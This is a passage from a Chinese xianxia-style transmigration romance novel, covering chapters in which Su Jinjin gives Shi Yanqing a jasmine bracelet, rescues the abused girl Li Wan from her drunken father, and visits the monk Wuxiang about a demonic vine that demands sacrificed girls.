小木盒雕刻着花纹,很是精巧,是在镇远侯府带过来的,日常装一些簪子,前几日在马车上做好茉莉手环就顺手塞了进去。
时晏清的目光落在苏锦锦纤细的手指上,打开木盒,里面静静躺了一个茉莉花手环。
在马车上,他见过她垂着头编织手环认真仔细的模样,却没想到过是为他而做的。
空气中弥漫着淡淡的茉莉花香,萦绕在鼻尖。
苏锦锦三两步走向门口,皎月悬挂在星河之上,苏锦锦眸子里盛着盈盈月光,随着动作闪耀。
时晏清的视线收回,苏锦锦扯过时晏清的手,将茉莉手环套在时晏清的手腕处。
手环是用茉莉干花制成的,用一条淡绿色的丝带系起来。
苏锦锦灵活的手环绕了他的手腕一圈,打了个蝴蝶结。
在时晏清淡淡目光下,是抑制不住的心跳,少女低垂着头,只得见她的睫羽似蝴蝶般轻颤。
“上次我给你做的那个总是坏,要么就没几天蔫了,我做了个干花的,再用绳子串上,这个就不会坏了。”
苏锦锦一边为时晏清细心地系着手环,一边自顾自嘟囔着。
“好啦。”
淡绿色丝带薄如蝉翼,一缕清风拂过,在夜空中如蝴蝶般翩翩起舞。
“送君茉莉,请君莫离。”
少女声线甜美,带着些娇俏,满眼喜悦地欣赏着自己的作品。
苏锦锦啧啧一番,连连感叹,牵着时晏清的手腕拖到了小宅的院中。
月色如画,星光点点,为少女的面庞渡上了一层柔和的光晕。
随即苏锦锦放开牵着时晏清的手,两人齐齐仰着头,欣赏着盈盈月光,感受着独属于夜晚的静谧。
“在看什么?”时晏清声音轻柔地似羽毛,拂过她的耳畔。
“你有没有想过,我们现在看的月亮,宫中的天子娘娘会看,身着粗布麻衣的百姓会看,几千年后的人也会看,无数个微小的身影,都曾看过一轮圆月。”
“我们也不过是历史洪河中的沧海一粟,无数波澜壮阔的一生,却被轻描淡写的一笔带过,无数充满色彩的结局,也不过是随手翻过的一页。”
苏锦锦脖颈间的白玉项链闪着光,似是与她有心灵感应般,回应着她的问题。
时晏清的思绪随着她的话,穿越万里山河,飘至了金瓦红墙间的娘亲前。
是否,这也算一种团圆。
苏锦锦拍了拍手,蹲在地上,手中不知从哪捡来的树杈,在地上瞎画着。
“时晏清。”
时晏清抬头望着月夜,眼圈红红,带了一份悲戚,闻声视线落在地上的少女上,低低“嗯”了一声。
“你相信苦尽甘来吗?”
时晏清眼波流动,没了戾气,真似一个平凡的少年。
意气风发,鲜衣怒马。
“苦尽甘来,可是有的人苦了一年又一年。”
“譬如我。”
等不着爹娘的音讯,陪伴的师傅也离他而去,孤寂而迷茫的捉妖路途,却被这个来路不明的少女点亮。
“不要总给自己负面情绪啦,如果你一直下意识觉得自己不好,你就越来越会陷入负面情绪的。”
“其实你也值得更好的。”
苏锦锦的话似烟花般在时晏清的脑海中炸开,有欣喜,有无措,染成缤纷多彩的世界。
“这么多年的路都是你自己走过来的,无论是苦,还是甜,你一直都是你自己坚强的避风港。”
时晏清怔愣在原地,迟迟未开口,困扰了他一生的事,却被如此简单的说出来了。
苏锦锦停了动作,仰着头看着双手交叠的时晏清。
“时晏清。”
“你要相信,幸福将会到来,在平凡的某一天。”
少女笑眼盈盈,一双杏眸中盛满了月光。
地上画了个笑脸,正笑看着向时晏清,与苏锦锦仰着的笑脸有一瞬间的重合。
【系统提醒:待攻略对象时晏清好感度上涨15%,目前好感度75%,宿主再接再厉】
苏锦锦起身,拍了拍手中的灰,转身回了屋。
“早点睡哦。”
欢快的少女音在自己身后响起,时晏清定定望着地上的笑脸还未回过神来。
手腕处的淡绿色丝带随风飘舞,茉莉的清香弥漫心头。
他本恶语相向,浑身带刺。
现在却有一个人义无反顾,遍体鳞伤也要与他紧紧相拥。
有一束光打进了那抹蔷薇花,自此天光大亮。
*
翌日。
天气晴好,空气中渐渐已经有了夏的气息,清晨的薄雾还未消散,苏沐风同林怀烟便先一步上街买符纸了,以便在三月后对付千面藤。
灵狐懒散地趴在石板上,四肢摊开,宛如一滩水化在了地面上,感受着石板传来的丝丝凉意,又惬意地眯了眯眼。
时晏清一身蓝衣,懒散地靠在院中的树干,毫不掩饰地观赏着苏锦锦洗漱。
少女一身芋紫色襦裙,几缕墨发垂在胸口,望着晴朗的天,口中哼着不知名小调,胸前的白玉项链的响声混着流水声飘荡在两人耳畔。
阳光密密撒下来,落在少女挂着水珠的睫羽上,徽州街畔已恢复了昔日的模样,门外传出妇女的交谈声。
“听说了吗,李家姑娘跑回来了。”
苏锦锦即刻放下手中的动作,没有过多言语,同时晏清对视一眼,心中便已然了却。
两人挪动着碎步,悄咪咪地朝着门口的方向移动。
动作一致,心情一致。
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>“啊?李家姑娘?”
“就是陪嫁给千面藤的那个吗?”
听闻此事,另一位妇女的声线陡得拔高,带了几分不可置信。
“小点声,小点声。”
那妇女观望四周,见四下无人,又低下头,两人挨得更近了些。
仿佛在课上偷偷聊八卦的学生,一边提防着老师的视线。
“对,就是她啊。”
“不知道怎么回事,今儿早上,我上街买菜,看她就跑回来了,还身着昨夜的衣裳,披着个红盖头,瘆人的很呐,鞋还跑丢了一只……”
苏锦锦纤细的手拍了拍妇女的肩膀,察觉到异常的两人先是吓了一跳,随即纷纷住了嘴,扭过头注视着两人。
“有事吗,小姑娘。”
“大娘,请问你们说的李家姑娘是怎么回事啊?”
大娘挥了挥手,呼出一口气,拍了拍胸口,神情也放松下来。
“哎呦,我还当什么事呢。”
“你们是外城来的吧。”
苏锦锦不自觉扯着垂落的芋紫色发带,目光落在逆着光的时晏清身上,又点了点头。
“对。”
“徽州一片,一年前水患,这西山的千面藤托梦跟村长说,它能救整个村子,不过代价是每三月出一个适龄少女陪嫁。”
苏锦锦面露迟疑,视线不自觉望向身侧的时晏清,又不自觉咽了下口水:“是献祭吧。”
大娘又点点头,面上流露出几分淡淡的惋惜,凑近苏锦锦几分,压低了声线:
“本来谁也没信这个稀奇古怪的梦,不过,半月后,徽州的水患真的治好了,却得每三月献祭一位少女。”
“这李家姑娘,便是被安排来的,她娘死的早,她爹整日酗酒,一没有酒吃,便叫她家姑娘上街乞讨。”
“但后来啊,人家给一次两次就算了,也不能天天给吧,于是她带回家的铜板越来越少,她爹就打她,每晚整条街都是她爹的咒骂声。”
“后来村长找她爹说让她家姑娘陪嫁,就给二十两银子。”
说罢,大娘又伸出了两根黝黑粗糙的手指,在空中明晃晃地晃了晃。
二十两银子换一位少女的命,真是讽刺。
苏锦锦伸手掏向腰间的荷包,沉甸甸的银子落在她粉白掌心之间。
“那我出这个银子。”
两位相互对视一眼,最终摇了摇头,并未有所动作。
“姑娘啊,这李家姑娘不去,村长自会选别家姑娘替嫁,如此反复,又怎能救的过来呢?”
苏锦锦指尖蜷了蜷,最终将银子默默收回了荷包中。
“大娘,那你知道李家住在哪里吗?”
大娘黝黑又有些粗糙的手指指向了两人身后,几人寻着动作望去。
“就在西街最后一家,你们打听打听就能到。”
苏锦锦自然地牵住时晏清的手腕点头道谢后便朝着西街的方向奔去。
“现在当务之急是要将千面藤彻底解决。”
苏锦锦鼓起嘴,气哄哄地自顾自向前走。
时晏清跟在身后,饶有兴致地看着身前的少女,高马尾随着动作有规律地摆动着。
29. 李婉
苏锦锦叉着腰,气鼓鼓地往前走。
“这郡守也太不当人了,怎么让她们去献祭?”
时晏清三两步跟了上去,垂下眼睫望着小姑娘的头,阳光倾洒而下,墨发在空中打着卷:“倘若郡守不答应,那死的人不就更多?”
苏锦锦回眸瞪了时晏清一眼,后者无辜地摊了摊手,两人继续向着方才大娘指的方向寻过去。
清晨的薄雾渐渐消散,光影斑驳,枝桠间散发着清香,驱散了方才一瞬的不悦,令人安心。
西街清晨甚是热闹,青瓦白墙间,两侧是茶楼,酒馆,作坊,空地挤满了摊位,摆满各式各样的小吃,使这儿充满了烟火气。
苏锦锦只朝摊位看了一眼,想起自己有要事在身,便咽下蠢蠢欲动的食欲,扭过头继续向前走。
视线扫到正坐在摊位前的老妇,捏着针线,细细地绣着花,她摊前并没有什么人,苏锦锦上前开口询问。
“大娘,请问您知道李家的住处吗?”
“李家?”
大娘抬起头,打量着两人的行头,半晌才想起来了李既的存在。
“你们说的是李既吧,沿着这条街向前走,最后面左侧的一家就是了。”
苏锦锦刚想道谢抬脚走,大娘犹犹豫豫着,眉心微微动了动,露出一丝担忧的意味,似乎有些难以启齿的话语,最终还是抵不住开口询问。
“小姑娘,你们要去他家干嘛啊?”
苏锦锦扬起脸,眨着一双杏眼,朝着大娘笑了笑:“我们要去问问关于李婉的事情。”
“哦哟,劝你一句,小心点呐,那李既不是什么好人,对他家亲女儿都非打即骂的,整日酗酒,街邻都劝不动。”
“我也看小婉儿可怜,教了些她刺绣的功夫。”大娘一手拿着针线,低低地哀叹一声,将李婉的不公与委屈,一针一线地缝了进去。
“实在不行,让你相公陪着点。”大娘抬起头,视线越过苏锦锦,落在身后的时晏清。
语毕,苏锦锦瞪大了一双眼,僵硬地扭过头看了看身侧的时晏清。
少年一双桃花眼似笑非笑,那笑意却很快地收敛起来,苏锦锦差点以为他在占自己的便宜了。
“不是的,其实……”苏锦锦慌乱地摆了摆手,想要解释。
不过后面的话苏锦锦没再说完,时晏清牵过苏锦锦的手腕,似笑未笑地望着她慌乱的眼神。
“走了。”
“等等,等等。”
苏锦锦无奈被他牵着走,时不时抬眸望向身侧的少年,一路都生着闷气,好半晌才憋出了一句。
“为什么不等我解释一下啊。”
时晏清神色淡淡,唇角勾起一抹若有若无的弧度,腰间的玉佩随着动作晃荡。
“救人要紧呐。”
苏锦锦只好泄了气,见身侧少年神色如常,狠狠地瞪了他一眼,继续向前走。
再朝街里走,方才的烟火气息逐渐减弱,里面清净无比,只偶尔路过几只雀鸟,未曾看过两人一眼,蹦蹦哒哒地朝着街里走。
眸光闪烁间,苏锦锦敏锐地捕捉到了一位熟悉的身影。
一位妇人身着朴素,虽与外人并无两样,不过她抬起头的瞬间,那双灵动的眸子便出卖了她,
苏锦锦一眼便认出了来人。
正是淑妃娘娘的大宫女。
那张脸,与在莞花城的那日如出一辙。
苏锦锦本想上前询问一番她为何出现在此处,只见她慌乱间扯过外袍蒙住了半张脸,又向后瞄了一眼苏锦锦,便一股劲地向前跑。
她挤进了人群,便在熙熙攘攘的人群中不见了踪影。
时晏清顺着苏锦锦的视线望过去,同样是不见任何人的踪影,侧着头开口询问:“看什么呢?”
苏锦锦摇了摇头,收回了视线,只不过心思乱飘:“没什么,看到一个人感觉很熟悉,应该是看错了。”
不过,她方才并没有看错,的的确确就是淑妃娘娘的大宫女。
第一次见她是在莞花城,而莞花城离徽州这个小村子如此之远,她为何来这儿。
而她方才的状态,也的的确确认出了苏锦锦和时晏清,却又为何慌乱跑开。
正在苏锦锦胡思乱想之际,一阵咒骂声回荡在两人的耳畔。
“你怎么还跑回来了?老子已经收了人家村长的银子,你要死,也给老子死出去,别在屋里碍眼。”
“滚!听不懂呐。”
“生了个赔钱货玩意,你赶紧去死吧,跟你妈一起。”
李既用筷子敲了敲碗边,狠狠地剜了一眼李婉,那架势,并没有普通爹娘对自家孩子恨铁不成钢的意思,只剩了深深的……嫌恶与憎恨。
李婉垂着头,任由眼角的泪花自由掉落,却又不敢抬袖拂去泪痕,也不敢发出一丝声音。
因为,她每一个细微的动作,在李既的眼中都是极大的错误。
明明她已将家里的大小事操持的井井有条,拥有了不属于这个年纪的成熟,只因她是女孩。
其他家的孩子哭了,爹娘要么递来蜜枣,要么陪孩子玩闹。
而自己,掉了一滴眼泪,便要换来一顿责打。
李既狠狠地敲了敲碗筷,随着他的咒骂声,口中的米粒喷了出去,几粒掉在了石桌上,又不顾脏乱塞进了嘴里,看得两人直皱眉。
“滚!”
话音落地,李既将手中的木碗狠狠一摔。
木碗脱离了控制,边角裂开了个缝,在地上咕噜噜转了几圈,最终抵在了苏锦锦的绣着花边的鞋,停下。
许是察觉到了门外两道炽热的视线,李既扭过头看向几人,扯了扯嘴角,似乎想显得自己凶狠些。
“看什么笑话来了?”
苏锦锦罕见地冷下脸,一步一步地朝着屋内走,平日里温软甜美的模样,此刻的气压都低了几分。
李既扫过来人的行头,的确被苏锦锦的气势吓到了,不由得咽了一下口水,声音颤颤巍巍,却也要维护住自己的那点尊严。
“我……我不管你是谁啊,你……你别……给我乱来。”
苏锦锦并未有所过激的言论,一双纤细的玉手掏向了荷包,半晌,将银子放在了木桌上,明晃晃的光刺痛了李既的眼。
“我是镇远侯府二小姐,苏锦锦。”
苏锦锦俯视着李既,就仿佛李既骂李婉时高高在上的姿态。
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她的阴影将立即遮住,独留他害怕地后缩。
“京城中的小姐怎么了?”
李既本想着死到临头再口不遮拦两句,恰恰没想到苏锦锦并未有所过激的动作。
“把李婉给我,这些银子都是你的了。”
李既一把夺过那银子,放在牙下咬了咬,一张丑陋的脸上扭曲出笑容,身上散发出浓烈的酒味,令苏锦锦不自觉皱了皱眉。
那模样,颇像是饿极了的狗见到了骨头。
“给,给,给。”
“这臭丫头这么值钱。”
时晏清微不可察地皱了皱眉,语气中带了些不耐烦。
“滚。”
李既欣喜地攥着银子,笑着点点头便起身往屋里跑,一边跑一边哼唱着:“又有酒喝,又有酒吃……”
苏锦锦叹了口气,牵过了李婉的手。
那双手因着整日的劳累已不似普通小姑娘那般细腻,苏锦锦细细摩挲着,试图抚平她的心,眉眼间染上一丝心疼。
小女孩有些畏缩,对于这个莫名救下自己两次的女孩,不知道应该如何办,也不知道对于这种闺阁小姐应如何感谢。
“没事了,我们走吧。”
苏锦锦朝着李婉温润一笑,拍了拍她的肩。
李婉抬袖擦了擦眼角的泪痕,朝着苏锦锦点了点头便跟了上去。
太阳顺着轨迹慢慢向上爬,三人穿过西街向宅子的方向走。
一路无言,只留几声鸟鸣前来道喜。
李婉一路上垂着头,终是忍不住,开口询问苏锦锦。
“为什么?”
两人纷纷驻足脚步,回眸望着颤巍巍的李婉,眸子同样都是深深的不解。
“什么?”
“为什么你们要救我?”
苏锦锦莞尔一笑,上前几步,轻轻拍了拍李婉的肩。
“因为我不想看更多人受难。”
阳光如瀑布般倾撒而下,睫羽如蝴蝶般翩翩起舞,风里满是夏的味道。
李婉垂下头去,藏住眼角滚烫的眼泪,跟在两人的身后继续走。
踏进宅子内,便瞧见了院内的林怀烟与苏沐风,两人望向身后的女孩,先是齐齐一愣,随即释然。
李婉望向两人的视线有些无措,不自觉攥紧了衣角。
“哥,林姐姐,这是李婉,昨夜见过的。”
不过两人只是点了点头,出于礼貌,并未过多询问,默许了这个小姑娘的到来。
“快进来吧。”
林怀烟先领着李婉洗漱一番,苏锦锦替自己斟了几杯热茶,这才抚平了燥热的心。
时晏清打量着少女的模样,看着她一盏盏地灌下肚:“怎么不给我倒一杯?”
苏锦锦正端着茶盏,青黛色的锦衣薄如蝉翼,随着小臂的弧度堆在手肘处,自然地露出光洁的小臂。
闻声,一双无辜的杏眸眨了眨,将最后一口茶下肚,这才倒了杯茶,学着宫里的小丫鬟般,毕恭毕敬地双手端到了时晏清的面前,歪着头笑了笑。
“这样可以吗?时公子。”
最后三个字苏锦锦咬的极重,傲娇地望着他。
“可以。”
30. 盘问
时晏清一双桃花眼似笑非笑,勾人心魄,苏锦锦保持着刚才的姿态,恭敬地举着茶,手臂都举酸了,半晌,他才接过那盏茶,轻悠悠地品味。
苏锦锦垂下手,揉了揉发酸了手臂,小声地嘟囔着:“好酸。”
时晏清闻声放下喝了一半的茶盏,绕过苏锦锦,在她的背后替她温柔地捏着肩。
一双玉手附上苏锦锦的脖颈,又轻轻地放在了她的肩膀上。
如来到镇远侯府的第一个雨夜一般,却没了当初的生疏与冷意,经过几个月的相识,只剩下温柔缱倦。
苏锦锦晃了晃脑袋,在内心悄悄地念着。
“日久见人心呐。”
【日久见人心呐~】
脑海中的系统突然闪现,学着苏锦锦的话,打了个措手不及。
“吓我一跳。”
而脑海中的系统清甜的声线早已消失,她的出现永远神不知鬼不觉的。
“这样可以吗?苏二小姐。”
时晏清学着方才苏锦锦的语气,歪着头,又玩笑般地重复了一遍。
他的话如羽毛般轻轻拂过苏锦锦的耳畔,惹得她后缩了一下,两个人笑作了一团。
苏锦锦此刻像极了一只骄傲的花孔雀,高高地仰起了头:“嗯,可以可以,手法不错,多赏你一些银子花花。”
说罢,苏锦锦还假装从荷包中掏出了些碎银,递在时晏清的手掌中。
“谢小姐赏赐。”
两人即刻欢笑成一团,时晏清拿起桌上未喝完的茶,此刻已凉了大半,却也不在意地灌了下去。
苏锦锦傲娇地撇过头,又偷偷瞄了眼正喝茶的时晏清。
少年仰着头,阳光顺着他脸颊的弧度,一直蔓延到喉结,随着动作滚动,苏锦锦仰着头,近的几乎能看见脸颊上细小的绒毛。
几缕发丝垂落在脖颈,马尾乖巧地趴在肩上,被阳光浸没。
苏锦锦挑了下眉,似乎又想到了什么稀奇点子,悠悠地哀叹一句:“哎。”
时晏清放下手中的茶盏,落在石桌上,发出清脆的响声,温柔地望向苏锦锦。
“怎么了?”
少女不语,继续连连哀叹几声,忧心忡忡。
“怎么了?苏二小姐。”时晏清早已了解小姑娘的习性,语气中带着些玩味,好笑地望着小姑娘这副忧心忡忡的模样,静静陪她继续演下去。
再抬眼,苏锦锦已调整好了状态,一双杏眼宛如梨花带雨,楚楚戚戚,眼眶中泛着晶莹的泪花。
时晏清瞧见小姑娘的模样,即刻便慌了神,扶了扶她的肩:“怎么了?什么事这么伤心?”
苏锦锦假模假式地用帕子擦了擦眼角不存在的泪花:“哎,为什么阳光都这么偏爱你。”
随即,少女便掩饰不住面上的喜色,望向时晏清忧心忡忡的眸子,自己先笑出了声。
意识到被耍了的少年,意外地并不恼,只是笑眼盈盈地望向苏锦锦,眼底是抑制不住的温柔。
【系统提醒:待攻略对象时晏清好感度上涨10%,目前好感度85%】
【没眼看,没眼看】
系统丢下这一句后,便杳无音信,而苏锦锦脑海中回荡着这个数字,唇角的弧度渐渐僵硬。
85%,只差15%就能回家了。
这本是她心心念念,日夜期盼的事情,可到了此刻,却涌上来一股莫名的难过。
而她穿来的第一天,系统便给了她两个选择。
完成任务后,回家,或是留下来。
心中的天秤已经在慢慢倾斜。
正思绪万千间,时晏清蓦地开口,将她的思绪拉了回来:“怎么了?”
小姑娘演或正常的情绪,时晏清再了解不过。
苏锦锦怕他再担心,仰着头露出个笑脸,继续向前走:“没事。”
时晏清轻柔地扯过苏锦锦的手臂,将她环在了怀中,脸颊蹭在苏锦锦的耳畔,惹得痒痒的。
“快点说,怎么了?”
意识到瞒不过时晏清,苏锦锦闭上眼深吸一口气,决定换种方式如实招来。
“假如说,我说假如说啊。”
“你听了后也不要生气。”
直到时晏清连连答应与保证后,苏锦锦这才斟酌着用词开口。
“如果有一天我不在了,不在你身边了,你会难过吗?”
苏锦锦仰着头,眨着一双无辜的杏眼,看向时晏清的神色。
时晏清方才的笑容也如出一辙地僵硬在脸上,睫羽缓缓垂了下去,遮盖住黑眸中的情绪。
“那我会一直找你。”
他声线淡淡,有一股不可言说的情绪。
沉默半晌,时晏清抬眸,黑眸中漾起一池春水,深情且坚定地看着苏锦锦。
“锦锦,我心悦你。”
茉莉花香萦绕心头,苏锦锦皓腕处的淡绿色丝带随着心思飘扬。
明明是自己早已得知的答案,却听着这话从时晏清的口中而出,却是另一番滋味。
苏锦锦扬起头,似一只灵动的小猫,眨着杏眼看向时晏清。
“你说你会一直找我,那假如你找不到我呢?天南地北都找不到呢?”
少女还丝毫没有意识到时晏清的情绪,继续在他的雷点上不断蹦哒。
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空气中弥漫着沉默,连路过的雀鸟都识趣地闭了嘴。
半晌,少年才缓缓开口:“你为什么这么问?你是不是不来自这个世界?”
此话一出,她便怔在了原地。
时晏清将问题抛给苏锦锦,便一时不知该如何回答为好。
苏锦锦摆了摆手,轻描淡写地揭过这一页:“哎呀,我开玩笑的呀,怎么可能呢?”
语毕,她还捏了捏时晏清的手心,以示安慰。
“放心吧,傻人有傻福,我定能活到大结局的。”
这句话时晏清似乎在哪听过,却一时想不起来了,便紧紧牵住苏锦锦的手,生怕她下一秒就会抽离。
*
微风拂过宅子中央的池水,惹得荷花荡漾,几缕古朴墨香,在空气中弥漫。
林怀烟轻柔地替李婉洗漱,又递过帕子擦了擦她手上的水珠。
“我名唤林怀烟,你也可以同锦锦一起叫我林姐姐。”
小姑娘终于敢抬头瞄一眼林怀烟的模样,又怯怯低下头,心想果真是个同苏锦锦一样的大美人。
“谢谢,林姐姐。”
待李婉洗漱完毕,五人连同着灵狐齐齐聚在了正厅,几人将李婉围在中间,颇有一副盘问的意味。
香炉中升腾起淡色烟雾,气氛有些紧张。
唯有灵狐懒散地舔了舔爪子,又趴在地上,享受着地面传来的丝丝缕缕的凉气。
李婉扭过头,看着四人齐齐严肃的模样,想要扬起一个笑容来打破这紧张的氛围,此刻却显得格外地不自然。
“你可知西山千面藤的来历?”苏沐风蓦地开口,神色有些严肃,一双黑眸宛若波澜不惊的湖水,容不得一丝杂物。
这架势,颇像是站在讲台上的老师正提问开小差的学生。
李婉看着他严肃的神色,莫名从心底升腾起一股没来由的紧张,咽了下口水。
林怀烟望见苏沐风这副喋喋不休的模样,不禁皱了下眉。
苏锦锦瞧见两人这副这副模样,巧妙地捕捉到林怀烟的情绪,摇摇头,轻拍了拍李婉的肩:“没关系,婉儿不想说就不说了。”
李婉怯怯开口,回予她一个笑容:“知道。”
“我知道千面藤的来历,”随即她又顿了一下,“我知道城南的空灵寺,应该与千面藤有关系。”
“你们可以去空灵寺找无相大师问问,或许他应该有结果。”
李婉一手紧攥着,眼神似灵动的小鹿,带着些雀跃。
苏沐风与林怀烟的眸子瞬间亮了起来,点燃了破案的一丝渺茫希望。
“立即启程,现在就前往空灵寺。”
31. 无相
苏锦锦望着晴好的天,口中哼着不知名小调。
以往来说,苏沐风总是走在前头,带领着大家,此刻他却在后面与林怀烟肩并肩,不知攀谈些什么。
时晏清从身后却牵住了她的手心,又亲昵地捏了捏,苏锦锦这才将视线收回。
“看来适时候商量下锦锦的婚事了。”
林怀烟望向前面两人亲昵地身影,不由得勾了勾唇,心底满是甜腻与喜悦。
她心思细腻,也是从苏锦锦这个年纪过来的,总能第一时间理会到小姑娘的那些小心思。
苏沐风反应慢了一拍,他总以大家长的模样出现,此刻却写得有些迷茫。
“婚事?什么婚事?”
林怀烟望向他,噗嗤一声笑了出来:“当然是与阿清的啦。”
苏沐风此刻显得有些茫然,一双眸子滴溜溜地转,一时间竟不知如何回答。
“阿清?他们才相识多久?怎么就谈婚论嫁了。”
林怀烟卷着垂落在肩头的发带:“那怎么了?皇上和淑妃娘娘不也是赏花宴一眼定情的吗?”
苏沐风叹了口气,有些郑重地望向林怀烟。
“阿烟,虽说我与锦锦并不是亲生的,不过我自是感恩镇远侯府的承蒙与照顾,我也打心眼里把锦锦当作亲妹妹来看待。”
他顿了一下,不愿扭扭捏捏,最终还是决定同林怀烟说出自己的心里话。
“虽说锦锦已及笄,但也不要这么着急地就嫁出去。”
林怀烟反应过来苏沐风似乎误会了什么,轻笑着开口:“你想什么呢?你自己看。”
苏锦锦正沉浸在自己的喜悦中,小姑娘的情绪,宛如春风,来也快,去也快,疲惫一扫而空,总能自顾自地想明白。
不过时晏清耳力极好,将身后两人的交谈声听了个清清楚楚。
握着苏锦锦手掌的力度又多了几分。
苏沐风视线落在两人的手上,旋即眉头放松下来,宛如铺开的白纸般。
“其实,我一直都觉得阿清挺好的。”
时晏清听了个清楚,眼尾耷拉下来,带了些难以言喻地意味,却又想静静地听下去。
“他自小跟在师傅身侧,虽从未打心眼里认我为师兄,但我从始至终都未曾恨过他。”
“他只是为自己披上了一层坚硬的盔甲,避免收到伤害,可骨子里,却是一个及其温柔的人。”
“若他能与锦锦幸福,那也便好。”
时晏清睫羽微微颤了颤。
苏锦锦的到来,宛如春风柔柔,将他的心融化成水,从而接纳了更多的小水珠。
*
城南的空灵寺离他们的宅院并不是很远,穿过两条街便可得见它的踪迹。
初夏的古寺浸在清冽的诗意里,青瓦覆着薄霜,像岁月撒下的碎银。
几人驻足原地,苏沐风上前叩了叩门。
寺门半掩,朱红漆色褪了大半,露出深褐木痕。
几人相互搀扶着,拾级而上,石阶缝隙嵌着向上攀爬的小草,两侧古松苍翠,花瓣从松针间怯生生探出了头,风一吹便打着旋儿落下。
僧人垂着头正扫着地面,仔细地连角落也不肯放过,竹帚拂过地面,发出沙沙的响声。
怪她今日图美,身着一袭青黛色锦衣,抬脚很是不便。
望着渐行渐远地身影,苏锦锦不免有些心急,一手提着裙摆,便小跑向上爬。
脚底一滑,失了重心,苏锦锦便要向后仰去。
一只强有力的大手托住了她,替她扶了扶身子,苏锦锦这才回过神来,扶了扶心口。
“小心点。”
苏锦锦望向时晏清带着些嗔怪的眸子,心虚地点了点头,紧握住他的手。
自从关系亲近些,苏锦锦便总多愁善感,又多回忆到往事,不免有些惆怅。
时晏清一手牵着小姑娘,一手替她理着裙摆。
“不着急,林小姐和沐风会在上面等我们的。”
听闻这个不同寻常的称呼,苏锦锦先愣了一瞬,随即展开笑意。
转角处树上残留着最后一缕暗香,与山间草木气息缠绕。
殿内香烟袅袅,伴着僧人低沉的诵经声,在梁间久久不散。
阳光透过雕花窗棂,斜斜地照进来,在青砖地上投下斑驳的光影。
林怀烟拦下路过的扫地小僧人:“请问您知道无相大师在哪吗?”
那扫地小僧人停下了动作,伸出手指了个方向:“无相大师呀,这个时辰他应该在屋内诵经呢。”
“那他什么时候能有时间?”苏锦锦眨着一双杏眼,开口询问。
扫地小僧人抬头望了望天:“半个时辰后吧,届时你们可找他。”
半个时辰,在这烈日酷暑的初夏可谓无比煎熬。
可求人办事就要有求人的态度,几人向小僧人道谢后便顺着他指向的方向绕道院门口。
午后,微风渐起,吹得殿角的铜铃叮当作响,更添一份宁静与祥和。
而夏日的空气内却是躁得慌,微风扑过来,还未感受到一丝凉气,便隐匿在了热浪中。
灵狐跟着几人,走了这么长时间,体力不支,四肢朝地趴在地上,与以往不同,却只得感受到热气,不得已又站了起来,来回踱步。
“无相大师,这无相本是破解世间万物执念的意思,看来我们找对人了。”苏沐风坐下身,自顾自呢喃着。
林怀烟便接过了他的话茬,顺着说下去:“看来我们的想法没错。”
她顿了一下,接着说下去:“接连几年的天灾人祸,使徽州的执念怨恨越积越多,故是千面藤有了灵性。”
“那不就如同梨妖一样吗?”
苏锦锦一手遮了遮刺眼的阳光,悠悠开口。
而身侧的少年早已有眼力见的上前几步,打下的阴影遮住了苏锦锦这边的阳光。
苏锦锦站在他的阴影下,扬起白皙的笑脸:“你还挺有眼力见。”
时晏清垂着头轻笑出声,未曾开口,任由毒辣的日光直晒他的后背。
“先睡一会吧,等无相大师出来后我再叫你。”
风停在枝桠间,连树叶的晃动都满了一拍。
雀鸟的声响,落在耳畔时,只剩了一片温软的静。
昏昏沉沉间,苏锦锦安心地阖上眼帘,跌入了似真似幻的梦境。
梦中。
几人推开门,苏沐风带着他们向着无相大师行了个礼。
阳光顺着门缝洒了进来,细小的灰尘在空中翩翩起舞。
香炉里升腾起淡色烟雾,香烟萦绕在几人身侧,宛如一道不可逾越的沟壑。
苏锦锦忍不住,偷偷抬眼瞄了眼无相大师的背影。
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无相大师口中低低吟诵着经书,背对着几人,身姿清瘦而挺拔。
口中诵经的声线戛然而止,无相大师不紧不慢地起身,掸了掸衣裳上的灰尘,缓缓扭过头。
只不过,当他回头的一刹那,所有人都愣住了。
那张脸,分明与苏锦锦的一模一样。
“你是谁?”
苏锦锦攥紧了衣角,面上依旧从容且坚定。
只见那无相大师唇角缓缓勾起一个弧度,那张脸上的神情,分明又不似苏锦锦。
“我就是你。”
无相大师的语气淡淡,萦绕在苏锦锦的耳畔,宛如毒蛇缠绕小臂的窒息感,顿时沉入了汪洋大海,透不过气来。
苏锦锦大喊出声,这个灰沉沉的噩梦于是也戛然而止。
她惊魂未定般,一双杏眸瞪的又大又圆,不断大口喘着气,又扶了扶心口,这才缓过神来。
时晏清正斜靠在梁上小憩,闻声便敏锐地睁开了双眸。
“怎么了?”
苏锦锦挥了挥手,示意几人不要担心。
“吱呀——”一声,木门被缓缓推开,几人寻着声音,视线投过去。
尤其是苏锦锦,心底提起了一口气,迟迟呼不出来。
无相大师是个面善的老人,正一手念珠佛珠,朝着几人的方向规规矩矩行礼。
这口吊着的气才缓缓放下。
只是个噩梦。
“让几位施主久等了,有什么事进屋聊吧。”
许是心怀鬼胎,苏锦锦总觉无相大师方才说话时,视线绕过了几人,投在她的身上。
那目光,似乎能看穿人心,寻找那最澄澈的透亮。
语毕,无相大师朝着苏锦锦的方向点了点头,于是转身进了屋,裙摆扫起方才小僧人刚扫过的落叶。
苏沐风点了点头,领着几人进了屋。
屋内的陈设与梦境中的如出一辙,似真似幻,仿佛跌入了永远醒不来的梦境。
这种窒息感与未知感令苏锦锦身子微微颤栗。
香炉升起丝丝缕缕的烟雾,苏沐风含着笑开口。
“不知无相大师是否得知关于徽州西山千面藤的事情。”
无相大师一手念着佛珠,微微点了点头。
“这执念,堆积而成便如一个疙瘩放在心里,拿也拿不掉。”
闻言,苏沐风不由得咽了一下口水,神色颇有些紧张。
“大师,那是否还有其他的方法可以破解?”
“解铃还须系铃人。”
无相大师的一番话,令几人都有些摸不着头脑。
毕竟,那枉死的冤魂,他们的怨恨,又何从解除?
无相大师垂着眼,透过窗棂的阳光攀上他眼角细细的纹路,此刻却更添几分和蔼。
“枉死之人无从诉说,活着之人背负两人使命。”
苏锦锦下意识向瞟一眼无相大师的神色,总觉他在点自己。
可后者神色淡淡,并无异常,她只好怯怯地收回目光。
林怀烟微微蹙眉:“无相大师,这话是什么意思?”
无相大师只微微摇了摇头:“无妨。”
“有心之人自会会意,无心之人不必理会。”
“待三月后,你们再次前往西山,解开千面藤的心结,一切难题便可迎刃而解。”
32. 出发
三月后。
这三个月的日夜,说平静也不平静,日常的生活中,大家总隐隐透露出一丝不约而同的紧张。
